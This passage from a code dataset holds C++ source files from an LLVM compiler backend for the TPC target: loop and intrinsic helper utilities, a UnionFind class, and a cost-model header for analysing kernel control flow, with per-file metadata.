static bool isIntrinsicOfType(Instruction *I, Intrinsic::ID IntrinID) {\n if (auto Intrin = dyn_cast<IntrinsicInst>(I))\n return (Intrin->getIntrinsicID() == IntrinID);\n return false;\n }\n\n // check if the given instruction is of the type of one of those in the given\n // vector of types\n static bool isIntrinsicOfType(Instruction *I, IntrinsicIDSet &IntrinIDs) {\n if (auto Intrin = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID InstIntrinID = Intrin->getIntrinsicID();\n return (IntrinIDs.find(InstIntrinID) != IntrinIDs.end());\n }\n return false;\n }\n\n /// Returns true if \\p I is a TPC coord-update\n static bool isCoordUpdate(const Instruction *I) {\n if (auto Intrin = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID InstIntrinID = Intrin->getIntrinsicID();\n if (InstIntrinID == Intrinsic::tpc_add_mask ||\n InstIntrinID == Intrinsic::tpc_set_indx)\n return true;\n }\n\n if (const auto *II = dyn_cast<InsertElementInst>(I)) {\n Type *Int5Ty = VectorType::get(Type::getInt32Ty(I->getContext()), 5);\n if (Int5Ty == II->getType())\n return true;\n }\n\n return false;\n }\n\n // check if the given instruction is of the type of one of the ld_tnsr\n // variants\n static bool isLoadTensor(Instruction *I) {\n if (auto Intrin = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID InstIntrinID = Intrin->getIntrinsicID();\n return (InstIntrinID == Intrinsic::tpc_ld_tnsr ||\n InstIntrinID == Intrinsic::tpc_ld_tnsr_low);\n }\n return false;\n }\n\n // check if the given instruction is of the type of one of the st_tnsr\n // variants\n static bool isStoreTensor(Instruction *I) {\n if (auto Intrin = dyn_cast<IntrinsicInst>(I)) {\n Intrinsic::ID InstIntrinID = Intrin->getIntrinsicID();\n return (InstIntrinID == Intrinsic::tpc_st_tnsr ||\n InstIntrinID == Intrinsic::tpc_st_tnsr_low ||\n InstIntrinID == Intrinsic::tpc_st_tnsr_partial);\n }\n return false;\n }\n\n // print the control flow graph of the Function the working loop is in\n static void dumpCFG(Loop *L) {\n Function *F = L->getHeader()->getParent();\n std::ostringstream ss;\n ss << \"digraph G {\\n\";\n for (auto &BBObj : *F) {\n BasicBlock *BB = &BBObj;\n for (BasicBlock *Pred : predecessors(BB)) {\n ss << \"\\t\" << Pred->getName().str() << \" -> \" << BB->getName().str()\n << \";\\n\";\n }\n }\n ss << \"}\\n\";\n TPC_OPT_UTILS_DEBUG(\"Function CFG : \\n\" << ss.str())\n }\n\n // get the const/non-const addend based on flag from the given instruction\n static Value *getAddend(Instruction *I, bool ConstFlag = true) {\n // instruction types - currently assuming only 'add'\n assert((TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_add_mask) ||\n I->getOpcode() == Instruction::Add) &&\n \"Invalid Instruction type\");\n // the addend value can be operand-0 or operand-1; in any case it has to be\n // a Constant\n Value *Op0 = I->getOperand(0);\n Value *Op1 = I->getOperand(1);\n assert(!(isa<Constant>(Op0) && isa<Constant>(Op1)) &&\n \"Operand-0 and Operand-1 both cannot be Constant Values\");\n assert((isa<Constant>(Op0) || isa<Constant>(Op1)) &&\n \"Either Operand-0 or Operand-1 must be a Constant Value\");\n if (ConstFlag)\n return isa<Constant>(Op0) ? Op0 : Op1;\n else\n return isa<Constant>(Op0) ? Op1 : Op0;\n }\n\n // This function returns the step value operand for the given Coord update\n // instruction\n static Value *getStepValue(Instruction *I) {\n bool IsAddMask = TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_add_mask);\n bool IsSetIndex =\n TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_set_indx);\n bool IsInsertElement = isa<InsertElementInst>(I);\n if (!(IsAddMask || IsInsertElement || IsSetIndex)) {\n TPC_OPT_UTILS_DEBUG(\"Unexpected Coord update instruction\")\n return nullptr;\n }\n if (IsAddMask)\n return getAddend(I);\n else if (IsInsertElement)\n return I->getOperand(1);\n else // set_index\n return I->getOperand(0);\n }\n\n static MDNode *getUnrollMetadataForLoop(const Loop *L, StringRef Name) {\n if (MDNode *LoopID = L->getLoopID())\n return GetUnrollMetadata(LoopID, Name);\n return nullptr;\n }\n\n static std::string getTypeString(Type *T) {\n std::string type_str;\n llvm::raw_string_ostream rso(type_str);\n T->print(rso);\n return rso.str();\n }\n\n static std::string getBasicBlockStr(BlockType BT) {\n switch (BT) {\n case BlockType::Preheader:\n return \"Preheader Block\";\n case BlockType::Header:\n return \"Header Block\";\n case BlockType::Exit:\n return \"Exit Block\";\n default:\n return \"Unknown Block\";\n };\n }\n\n static BasicBlock *getLoopBlock(Loop *L, BlockType BT) {\n switch (BT) {\n case BlockType::Preheader:\n return L->getLoopPreheader();\n case BlockType::Header:\n return L->getHeader();\n case BlockType::Exit:\n return L->getExitBlock();\n default:\n return nullptr;\n };\n }\n\n static bool isPhiOfType(PHINode &PhiNode, BasicBlock *BB,\n Intrinsic::ID IntrinID) {\n Instruction *BBIncome =\n dyn_cast<Instruction>(PhiNode.getIncomingValueForBlock(BB));\n if (!BBIncome)\n return false;\n\n return isIntrinsicOfType(BBIncome, IntrinID);\n }\n\n static void insertIntoBlock(BasicBlock *BB, Instruction *I,\n BasicBlock::iterator InsertIt,\n BasicBlock::iterator PhiInsertIt,\n std::string DebugTag) {\n TPC_OPT_UTILS_DEBUG(DebugTag << \"----\")\n TPC_OPT_UTILS_DEBUG(DebugTag << \"Inserting :\" << *I)\n\n auto InsertPt = (isa<PHINode>(I) ? PhiInsertIt : InsertIt);\n TPC_OPT_UTILS_DEBUG(DebugTag << \"Into :\" << BB->getName())\n TPC_OPT_UTILS_DEBUG(DebugTag << \"@before \" << *InsertPt)\n\n BB->getInstList().insert(InsertPt, I);\n TPC_OPT_UTILS_DEBUG(DebugTag << \"Inserted : \" << *I)\n TPC_OPT_UTILS_DEBUG(DebugTag << \"----\")\n }\n\n static bool insertIntoBlock(Loop *L, BlockType BT, Instruction *I,\n InstructionSetType &InsertedBlockInsts,\n BasicBlock::iterator InsertIt,\n BasicBlock::iterator PhiInsertIt,\n std::string DebugTag) {\n assert(L && \"<nullptr> loop not accepted\");\n assert(I && \"<nullptr> cannot be inserted into BB\");\n\n auto *BB = getLoopBlock(L, BT);\n // if not already inserted\n if (InsertedBlockInsts.find(I) == InsertedBlockInsts.end()) {\n insertIntoBlock(BB, I, InsertIt, PhiInsertIt, DebugTag);\n InsertedBlockInsts.insert(I);\n return true;\n }\n return false;\n }\n\n // create a PHI node with the given number of predecessors as the number of\n // incoming values, all of them set as the 'Val'\n static PHINode *createPHIWithIncomingPreds(BasicBlock *BB,\n unsigned PredsCount, Value *Val) {\n assert(BB && \"Invalid BasicBlock\");\n\n PHINode *PhiNode = PHINode::Create(Val->getType(), PredsCount);\n for (BasicBlock *Pred : predecessors(BB))\n PhiNode->addIncoming(Val, Pred);\n\n return PhiNode;\n }\n\n // find the last use of 'I' in it's Block\n static Instruction *findLastUse(Instruction *I, InstNumMapType &BBInstOrder) {\n Instruction *LastUse = nullptr;\n BasicBlock *BB = I->getParent();\n\n if (BBInstOrder.empty()) {\n unsigned InstCount = 0;\n for (Instruction &Inst : *BB)\n BBInstOrder.insert(std::make_pair(&Inst, InstCount++));\n }\n\n for (auto User : I->users()) {\n if (isa<PHINode>(User))\n continue;\n Instruction *UserInst = cast<Instruction>(User);\n if (UserInst->getParent() != BB)\n continue;\n\n if (LastUse == nullptr) {\n LastUse = UserInst;\n continue;\n }\n if (BBInstOrder[LastUse] < BBInstOrder[UserInst])\n LastUse = UserInst;\n }\n\n return LastUse;\n }\n\n // An unrolled loop could have possibly been strength-reduced by replacing\n // Induction 'add' steps with Induction 'Or' steps (except the final\n // Induction step which remains 'add')\n //\n // In such a case, there may be multiple users of the InductionPHI.\n // This method ensures both are identifed as Induction steps.\n //\n // E.g:\n //\n // %for.body:\n // ; unrolled by 4\n // %IndPHI = [%step.4, Header], [...]\n // %step.1 = add %IndPhi, 1\n // %step.2 = add %step.1, 1\n // %step.3 = add %step.2, 1\n // %step.4 = add %step.3, 1\n // icmp ... %step.4\n // br ...\n //\n //\n // %for.body:\n // ; unrolled by 4\n // ; Induction strength-reduced\n // %IndPHI = [%step.4, Header], [...]\n // %step.1 = or %IndPhi, 1\n // %step.2 = or %IndPhi, 2\n // %step.3 = or %IndPhi, 3\n // %step.4 = add %IndPhi, 4\n // icmp ... %step.4\n // br ...\n //\n static bool populateInductionInsts(Loop *L, ScalarEvolution *SE,\n InstructionSetType &InductionInsts) {\n PHINode *InductionPhi = L->getInductionVariable(*SE);\n\n for (auto User : InductionPhi->users()) {\n Instruction *I = cast<Instruction>(User);\n if (I->getOpcode() != Instruction::Add &&\n I->getOpcode() != Instruction::Sub &&\n I->getOpcode() != Instruction::Or)\n continue;\n InductionInsts.insert(I);\n }\n assert(InductionInsts.size() &&\n \"The loop InductionPHI must have at least one update\");\n\n // nothing to do\n if (InductionInsts.size() > 1) {\n // add the InductionPHI itself\n InductionInsts.insert(InductionPhi);\n return true;\n }\n\n // get the only step found till now\n Instruction *CurInd = *InductionInsts.begin();\n while (CurInd) {\n Instruction *NextStep = nullptr;\n for (auto User : CurInd->users()) {\n Instruction *I = cast<Instruction>(User);\n if (I->getOpcode() != Instruction::Add &&\n I->getOpcode() != Instruction::Sub)\n continue;\n\n auto *Op0 = dyn_cast<Instruction>(I->getOperand(0));\n auto *Op1 = dyn_cast<Instruction>(I->getOperand(1));\n if (!isa<Constant>(Op0) && !isa<Constant>(Op1))\n continue;\n\n if (CurInd == Op0 || CurInd == Op1) {\n NextStep = I;\n InductionInsts.insert(NextStep);\n // there cannot be multiple Induction updates to the previous update\n break;\n }\n }\n CurInd = NextStep;\n }\n\n return true;\n }\n\n // populate the instructions related to branching and induction update\n static bool populateLoopStructInsts(Loop *L,\n InstructionSetType &LoopStructureInsts) {\n assert(L->getSubLoops().size() == 0 && \"Not an innermost loop\");\n BasicBlock *HeaderBlock = L->getHeader();\n\n auto It = HeaderBlock->end();\n It--;\n Instruction *LastInst = &(*It);\n if (!isa<BranchInst>(LastInst))\n return false;\n InstructionSetType SetA, SetB;\n InstructionSetType *NextSet = &SetA, *WorkingSet = &SetB;\n WorkingSet->insert(LastInst);\n LoopStructureInsts.insert(LastInst);\n while (WorkingSet->size()) {\n for (auto Inst : *WorkingSet) {\n for (unsigned OpIdx = 0; OpIdx < Inst->getNumOperands(); OpIdx++) {\n if (Instruction *OpDef =\n dyn_cast<Instruction>(Inst->getOperand(OpIdx))) {\n if (OpDef->getParent() != HeaderBlock)\n continue;\n if (!isa<PHINode>(OpDef))\n NextSet->insert(OpDef);\n LoopStructureInsts.insert(OpDef);\n }\n }\n }\n WorkingSet->clear();\n\n auto *TempSet = NextSet;\n NextSet = WorkingSet;\n WorkingSet = TempSet;\n }\n return true;\n }\n\n // This function accepts a Set of Intrinsic IDs considered as non-compute by\n // the programmer, and returns false for input Intructions that are Intrinsics\n // with these IDs. It will be the responsibility of the programmer using this\n // functionality to populate the Non-Compute set. With this design, we allow\n // contextual classification of Instructions into compute and non-computes.\n //\n // For e.g.:\n // Both arithmetic and load instructions can use predicate instructions\n //\n // - In one context, such as determining the profitability of\n // coord-simplify-pass by analyzing it's effect on live-ranges of\n // Instructions, categorizing such predicates as compute is necessary\n //\n // - In another context, the pipelining pass may want to use this function to\n // verify if it's clusterizer missed including any compute that is not\n // between a load and a store. So here a predicate used by load need not be\n // treated as compute (as it belongs to a pre-load sequence).\n //\n // Apart from the non-compute Set check, the function also accepts a Set of\n // Instructions, to avoid false positives, that are related to the\n // loop-structure such as branching, induction update instructions etc.\n // All instructions with type 5xi32, and PhiNodes, InsertElement, users of\n // Induction Phi (because most-likely a compute will only use Induction\n // variables indirectly through 5xi32) etc., will be treated as non-compute.\n //\n // Lambda signature :\n // isInductionPHI([] (PHINode *) -> bool {})\n template <typename Lambda>\n static bool isComputeInst(Instruction *I,\n DenseSet<Intrinsic::ID> &NonComputeIntrinIDs,\n InstructionSetType &LoopStructureInsts,\n Lambda isInductionPHILambda) {\n BasicBlock *BB = I->getParent();\n Type *T5xi32 = VectorType::get(Type::getInt32Ty(BB->getContext()), 5);\n if (cast<Value>(I)->getType() == T5xi32)\n return false;\n\n if (LoopStructureInsts.find(I) != LoopStructureInsts.end() ||\n TPCOptUtils::isIntrinsicOfType(I, NonComputeIntrinIDs))\n return false;\n\n if (isa<PHINode>(I) || isa<BranchInst>(I) || isa<InsertElementInst>(I) ||\n isa<ICmpInst>(I))\n return false;\n\n // if I uses induction phi, it most likely cannot be a compute\n // (induction update instructions will be caught here)\n for (auto User : I->users()) {\n if (auto *Phi = dyn_cast<PHINode>(User)) {\n if (isInductionPHILambda(Phi))\n return false;\n }\n }\n\n return true;\n }\n\n // f(Instruction *)\n template <typename Lambda>\n static Instruction *followCoordDefChain(Instruction *FirstUpdateInst,\n Intrinsic::ID IntrinID, Lambda f) {\n while (!isa<PHINode>(FirstUpdateInst)) {\n FirstUpdateInst = dyn_cast<Instruction>(FirstUpdateInst->getOperand(0));\n f(FirstUpdateInst);\n }\n return FirstUpdateInst;\n }\n\n // f(Instruction *)\n template <typename Lambda>\n static Instruction *followCoordUserChain(Instruction *LastUpdateInst,\n Intrinsic::ID IntrinID, Lambda f) {\n bool Change = true;\n while (Change) {\n Change = false;\n for (auto User : LastUpdateInst->users()) {\n Instruction *UserInst = dyn_cast<Instruction>(User);\n if (isIntrinsicOfType(UserInst, IntrinID)) {\n LastUpdateInst = UserInst;\n f(LastUpdateInst);\n Change = true;\n break;\n }\n }\n }\n\n return LastUpdateInst;\n }\n\n // f(Instruction *User)\n template <typename Lambda>\n static void replaceUsesOfWith(\n Instruction *Of, Instruction *With,\n Lambda f = [](Instruction *) -> bool { return true; },\n std::string DebugTag = \"\\t\") {\n UserSetType UserSet;\n for (User *U : Of->users())\n UserSet.insert(U);\n for (const auto &UserObj : UserSet) {\n Instruction *UserInst = cast<Instruction>(UserObj);\n TPC_OPT_UTILS_DEBUG(DebugTag << \"----\\n\" << *UserInst)\n if (f(UserInst)) {\n UserInst->replaceUsesOfWith(Of, With);\n }\n TPC_OPT_UTILS_DEBUG(DebugTag << \"----\\n\" << *UserInst)\n }\n return;\n }\n};\n\nclass UnionFind {\npublic:\n explicit UnionFind(unsigned N) : N(N) {\n Parent.resize(N);\n for (unsigned i = 0; i < N; i++)\n Parent[i] = i;\n }\n\n unsigned findRoot(unsigned A) {\n assert((A < N) && \"Invalid UnionFind Index\");\n while (Parent[A] != Parent[Parent[A]])\n Parent[A] = Parent[Parent[A]];\n return Parent[A];\n }\n\n bool unionNodes(unsigned A, unsigned B) {\n assert((A < N) && \"Invalid UnionFind Index\");\n assert((B < N) && \"Invalid UnionFind Index\");\n\n unsigned RA = findRoot(A);\n unsigned RB = findRoot(B);\n // no merge required if A and B belongs to the same root\n if (RA == RB)\n return false;\n\n // simple tie break for new champion root\n if (RA < RB) // make RA the root\n Parent[RB] = RA;\n else // make RB the root\n Parent[RA] = RB;\n\n return true;\n }\n\n unsigned mapUniqueNodes(UFNodeMapType &FinalMap) {\n FinalMap.resize(N);\n unsigned Counter = 0;\n // re-assign number for root nodes\n for (unsigned i = 0; i < N; i++) {\n if (findRoot(i) == i) {\n FinalMap[i] = Counter;\n Counter += 1;\n }\n }\n // use re-assigned number from root nodes\n for (unsigned i = 0; i < N; i++) {\n unsigned Root = findRoot(i);\n if (Root != i) {\n unsigned MapVal = FinalMap[Root];\n FinalMap[i] = MapVal;\n }\n }\n return Counter;\n }\n\nprivate:\n unsigned N;\n UFNodeMapType Parent;\n};\n\n#undef DEBUG_TYPE\n\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.6309085488319397, "alphanum_fraction": 0.6336327195167542, "avg_line_length": 30.439815521240234, "blob_id": "bdce53788b7eb75eb11579ed71f9725c61321f19", "content_id": "90f166d38881d2d5982fbf5715e8647b0c85dbc8", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 13582, "license_type": "permissive", "max_line_length": 80, "num_lines": 432, "path": "/llvm/lib/Target/TPC/TPCCostModelEmitter.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#ifndef LLVM_TPCCOSTMODELEMITTER_H\n#define LLVM_TPCCOSTMODELEMITTER_H\n//===- TPCCostModelEmitter.cpp --- Cost Model------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n// author: Michael Zuckerman\n// [email protected]\n//===----------------------------------------------------------------------===//\n// TPC-COST MODEL creates a flow graph of the tpc kernel. This is done via the\n// following steps:\n//\n// 1) Build CFG (call flow graph).\n// 2) Compute Graph cycle (Using DFS).\n// 3) Create segmentation according to cycle.\n// 4) Create a source sink graph from the segmented graph.\n// 5) Compute cost bottom up.\n// 6) Save the result to the object.\n//\n// This analysis returns a formula in SCEVGlue language.\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCIndexSpace.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/BranchProbabilityInfo.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpressions.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineScheduler.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include \"llvm/Support/GraphWriter.h\"\n\nusing namespace llvm;\n#undef DEBUG_TYPE\n#define DEBUG_TYPE \"tpccostmodel\"\n\nstatic inline bool ignoreInstr(MachineInstr *MI) {\n if (MI->isDebugValue())\n return true;\n if (MI->getOpcode() == TargetOpcode::IMPLICIT_DEF)\n return true;\n return false;\n}\n\nstatic inline bool isJmpInstr(const MachineInstr *MI) {\n if (MI->isBundle()) {\n const MachineBasicBlock *MBB1 = MI->getParent();\n MachineBasicBlock::const_instr_iterator MII = MI->getIterator();\n for (++MII; MII != MBB1->instr_end() && MII->isInsideBundle(); ++MII) {\n const MachineInstr &BMI = *MII;\n if (isJmpInstr(&BMI))\n return true;\n }\n return false;\n }\n\n return MI->getOpcode() == TPC::JMPR || MI->getOpcode() == TPC::JMPR_u;\n}\n\nstatic inline int getBBCycles(MachineBasicBlock *MBB, bool ignore_loop_instr) {\n int Cycle = 0;\n for (MachineBasicBlock::iterator J = MBB->end(), PE = MBB->begin();\n J != PE;) {\n --J;\n MachineInstr &DefMI = *J;\n ;\n if (ignoreInstr(&DefMI)) {\n continue;\n }\n if (DefMI.getOpcode() != TPC::LOOPEND) {\n Cycle++;\n }\n if (ignore_loop_instr && TPCII::isLoopInst(DefMI.getDesc()) &&\n (DefMI.getOpcode() != TPC::LOOPEND)) {\n Cycle--;\n }\n }\n return Cycle;\n}\n\nnamespace TPCCOST {\n\n#define TPC_DEBUG(x) \\\n if (debugTPC) { \\\n llvm::errs() << x; \\\n } else { \\\n LLVM_DEBUG(dbgs() << x); \\\n }\n\n/*!\n * @class SwitchLeafData present the llvm's switch branch.\n * switch is a presentation of the if elseif else block.\n */\nclass SwitchLeafData {\nprivate:\n const BasicBlock *BB = nullptr; /*< Basic block contains the switch*/\n std::vector<BasicBlock *> ifList; /*< A list of pointers to basic blocks*/\n\npublic:\n SwitchLeafData(const SwitchInst *I) : BB(I->getParent()){};\n /*!\n * searchAndinsert collate the basic blocks pointer of the if else expiration.\n * @param I contatins the SwitchInst\n */\n void searchAndInsert(const SwitchInst *I);\n /*!\n * @return a list of basic blocks for the if list.\n */\n std::vector<BasicBlock *> getIfList() { return ifList; }\n /*!\n * @return The head of the basic block\n */\n const BasicBlock *getBBHead() { return BB; }\n};\n\ntypedef enum nodeType { LOOP, EXIT, LATCH, SWITCH_BRANCH, NODE } nodeType;\n/*! @class LeafType contains the four types of the node\n * Each node is machine basic block (MBB).\n * LOOP -> Is a node contains induction and stride.\n * EXIT -> Is a node controll all exit for a loop\n * LATCH -> Is a node returns the IP to the loop.\n * NODE -> Is general node\n */\n\nclass LeafType {\nprivate:\n unsigned priority = 3; /*!< 3 is the lowest priority and 0 is the highest.*/\n nodeType NodeValue =\n nodeType::NODE; /*!< NODE is a general type node that was not define yet*/\n /*!\n * \\breaf setPriority set the value of node unsigned priority.\n * Where priority can be set to one the following number\n * 0 - The highest.\n * 1 - Middle.\n * 2 - Lowest.\n * \\param val gets the node type.\n */\n void setPriority(nodeType val);\n\npublic:\n LeafType(){};\n LeafType(nodeType val) : NodeValue(val) { setPriority(val); }\n /*!\n * \\param CC\n * \\return if this.priority is less then cc.priority\n */\n bool operator<(const LeafType &CC) const;\n /*!\n * \\breaf getNodeType returns the type of the node and can be one of\n * \\return nodeType enum |LOOP, EXIT, LATCH, NODE|\n */\n nodeType getNodeType() { return NodeValue; }\n /*!\n * \\param val nodeType\n */\n void setNodeType(nodeType val) {\n NodeValue = val;\n setPriority(val);\n }\n};\n\n/*!\n *\n * \\class costLeaf: cost leaf is the basic element of the graph.\n * Each cost leaf contains:\n * 1) Cost in cycles number.\n * 2) SCEV formola.\n * 3) children list.\n * 4) Direction indicates who is the next element to be consider as part if the\n * cycle.\n * at first the costLeaf creates as it doesn't know nothing and in the continue\n * more information is adding discover by the cost tress.\n */\nclass CostLeaf {\n\npublic:\n CostLeaf() = default;\n\n CostLeaf(const BasicBlock *BBValue) : BB(BBValue){};\n\n void setCycle(int cycleValue) { cycle = cycleValue; }\n\n void setSCEVValue(const SCEV *value) { SCEVValue = value; }\n\n void setTaken(bool set) { taken = set; }\n\n bool getTaken() { return taken; }\n\n void setType(nodeType value) { type.setNodeType(value); }\n\n void setMachineBB(MachineBasicBlock *value) { MBB = value; }\n\n void setVisit(bool val) { visit = val; }\n\n void setLoadData(LoopData *val) { LD = val; }\n\n void setChildToVisit(CostLeaf *val) { ChildToVisit = val; }\n\n const SCEV *getSCEVValue() { return SCEVValue; }\n\n int getCycle() { return cycle; }\n\n const MachineBasicBlock *getMachinBB() { return MBB; }\n\n nodeType getType() { return type.getNodeType(); }\n\n CostLeaf *getChildToVisit() { return ChildToVisit; }\n\n LoopData *getLoadData() { return LD; }\n\n bool getVisit() { return visit; }\n\n const BasicBlock *getBasicBlock() { return BB; }\n\n vector<CostLeaf *> *getChildren() { return &children; }\n /*!\n * Compare to cost leaf prioritize.\n * \\param CL\n * \\return this.type < CL.type\n */\n bool operator<(const CostLeaf &CL) const;\n\n /*!\n * Remove specifics element from children list.\n * \\param elementToRemove\n */\n void eraseFromChildren(const vector<CostLeaf *>::iterator elementToRemove) {\n children.erase(elementToRemove);\n }\n /*!\n * The function push costLeaf to a vector of children\n * \\param CL pointer to CostLeaf\n */\n void pushChild(CostLeaf *CL);\n /*! /breaf sortChildren sorts the object's children by their prioritize.\n * This step is importenet since we want discover some node before other.\n */\n void sortChildren();\n /*!\n * In the case the node himself is part of the graph cycle remove him.\n */\n void removeSelfCycle();\n /*!\n * Remove latch from the loop\n */\n void removeFromLoop();\n /*!\n * Helper function that create a header for the dot graph presentation.\n * @return string with the node header.\n */\n string printHeadLeaf();\n /*!\n * Helper function to print one node\n * \\return string of the node in the convenation of the node->child\n */\n string printCostLeaf();\n /*!\n * helper function to print children list\n * \\return connective list of children\n */\n string printChildren();\n\nprivate:\n const SCEV *SCEVValue = nullptr; /*!< Contains the SCEV value of the node*/\n const MachineBasicBlock *MBB =\n nullptr; /*!< Contains the Machine Basic Block pointer*/\n const BasicBlock *BB = nullptr; /*!< Contains the Basic Block pointer*/\n bool visit = false; /*!< Was sign in the current iteration*/\n bool taken = false; /*!< Was taken by the compute*/\n LoopData *LD = nullptr; /*!< pointer to loop data (IndexSpace mapping)*/\n CostLeaf *ChildToVisit =\n nullptr; /*!< contains the corrent direction to work when DFS run*/\n int cycle = 0; /*!< Number of VLIW instruction*/\n vector<CostLeaf *> children; /*!< Children list of the node*/\n LeafType type; /*!< Type of leaf (LOOP|EXIT|LATCH|NODE)*/\n};\n/*!\n * CostLead compare another CostLeaf element.\n */\nstruct CostLeafCMP {\n CostLeafCMP() {}\n bool operator()(const CostLeaf *s1, const CostLeaf *s2) const {\n bool val = *s1 < *s2;\n return val;\n }\n};\n\n/*!\n * /class LoopCost is a class contains a connective list (as a vector).\n * This list is a circle list(NodeCircle) where the begin is the first node of\n * the circle after the head(LoopHead) and the last variable in most time is the\n * latch. The latch returns the loop to the head(LoopHead)\n */\nclass LoopCost {\nprivate:\n int length = 0; /*!< equal to the number of node in the circle*/\n CostLeaf *LoopHead = nullptr; /*!< The first node in the circle (Loop)*/\n vector<CostLeaf *> NodeCircle; /*< the members of the circle*/\n ScalarEvolution &SE; /*< LLVM Scalar evolution*/\n\npublic:\n /*!\n * Constructor of the object\n * \\param Head - The head of the list\n * \\param SE - LLVM's Scalar Evolution\n */\n LoopCost(CostLeaf *Head, ScalarEvolution &SE) : LoopHead(Head), SE(SE) {}\n\n vector<CostLeaf *> getNodeCircle() { return NodeCircle; };\n CostLeaf *getLoopHead() { return this->LoopHead; }\n const SCEV *getLoopCostInSCEV(DominatorTree &DT);\n int getLength() { return length; }\n\n void setLength(int val) { length = val; }\n\n void pushNodeToLoop(CostLeaf *Node);\n void connectCircuit();\n\n bool operator<(const LoopCost &CC) const;\n};\n\nstruct CostLoopCMP {\n CostLoopCMP() {}\n bool operator()(LoopCost *s1, LoopCost *s2) const {\n return s1->getLength() < s2->getLength();\n }\n};\n\nenum status { FINISH, LOOPSTATUS };\n\n/*!\n * type present Path in the graph.\n */\ntypedef struct Path {\n vector<CostLeaf *> path; /*< A list of costLeaf*/\n int cost; /*< Cost of the path*/\n} Path;\n\n/*!\n * @class allPath presents the all passable path between begin node and end\n * node.\n *\n */\nclass allPath {\nprivate:\n vector<Path *> route; /*< A list of paths*/\n int maxPathCost = 0; /*< Max path cost over all paths*/\n int indexPath = 0; /*< The index number of the most expansive path*/\n CostLeaf *begin; /*< The begin of the list*/\n CostLeaf *end; /*< The end of the list. Together with the begina\n and end. Presenting chunk of graph*/\n\npublic:\n allPath(CostLeaf *begin, CostLeaf *end) : begin(begin), end(end){};\n void pushToAllPath(vector<CostLeaf *> in_route, int cost);\n void setMaxPath(Path *newPath);\n CostLeaf *getEnd() { return end; }\n CostLeaf *getbegin() { return begin; }\n};\n\n/*!\n * /class CostTree: Contains the leaf of the graph.\n *\n */\nclass CostTree {\npublic:\n CostTree(MachineFunction *MF, LoopInfo &LI, ScalarEvolution &SE,\n MachineLoopInfo &MLI1, DominatorTree &DT);\n bool getValid() { return valid; }\n CostLeaf *getRoot() { return Root; }\n void setValid(bool val) { valid = val; }\n void setRoot(CostLeaf *val) { Root = val; }\n\n void consumeCircle();\n void initVisit();\n bool isValid() { return isValidModel; }\n const SCEV *computeCostTree(CostLeaf *CL,\n DominatorTree &DT, string deepADD = \"|\");\n\n string printTree();\n string printTreeVal(CostLeaf *CL = NULL);\n\nprivate:\n vector<const BasicBlock *> BBlist;\n CostLeaf *Root = nullptr; /*!<Contains the root of the tree */\n LoopInfo &LI; /*!< LLVM Loop info */\n ScalarEvolution &SE; /*!< LLVM Scalar Evolution*/\n MachineLoopInfo &MLI; /*!< LLVM Machine Loop info*/\n DominatorTree &DT; /*!< DominatorTree info*/\n vector<CostLeaf *> VectorNode; /*!< Vector of cost leaf */\n vector<LoopCost *> Circle; /*!< Vector of circles */\n vector<SwitchLeafData *> switchBranch; /*!< list of branch BB*/\n bool valid = false; /*!< is valid cost tree*/\n bool isValidModel = true; /*!< is the model is valid*/\n /*!\n * @param MF is a pointer to machine function\n * @return The function returns if it successes create a cost tree.\n */\n bool buildTree(MachineFunction *MF);\n /*!\n * @brief CreateNode classify the type of the node and fill the field\n * according to the type\n * @param VMMB corrent machine block\n * @return return a object costLeaf.\n */\n CostLeaf *createNode(MachineBasicBlock *MBB);\n /*!\n *\n * \\param CF - compute the cost from point CL.\n */\n void computeCircle(CostLeaf *CF);\n\n void nodeContainsSwitchBranch(const BasicBlock *BB);\n\n bool isSwitchNode(const BasicBlock *BB);\n\n void sortChildrenByPriority();\n\n status computeAllPath(allPath *enter, CostLeaf *content,\n vector<CostLeaf *> list, int costPath = 0);\n};\n} // namespace TPCCOST\n\n#endif // LLVM_TPCCOSTMODELEMITTER_H\n" }, { "alpha_fraction": 0.6595174074172974, "alphanum_fraction": 0.6630920171737671, "avg_line_length": 37.58620834350586, "blob_id": "37e92899f599bc7b6b9bf790de521c363f9bbc3d", "content_id": "d16d3e435503f7a352176d761b704cdef4dc6ae3", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1119, "license_type": "permissive", "max_line_length": 119, "num_lines": 29, "path": "/llvm/lib/Target/TPC/TPCMachineScheduler.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMachineScheduler.h ---- Custom TPC MI scheduler ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Interface to custom TPC MI scheduler.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCMACHINESCHEDULER_H\n#define 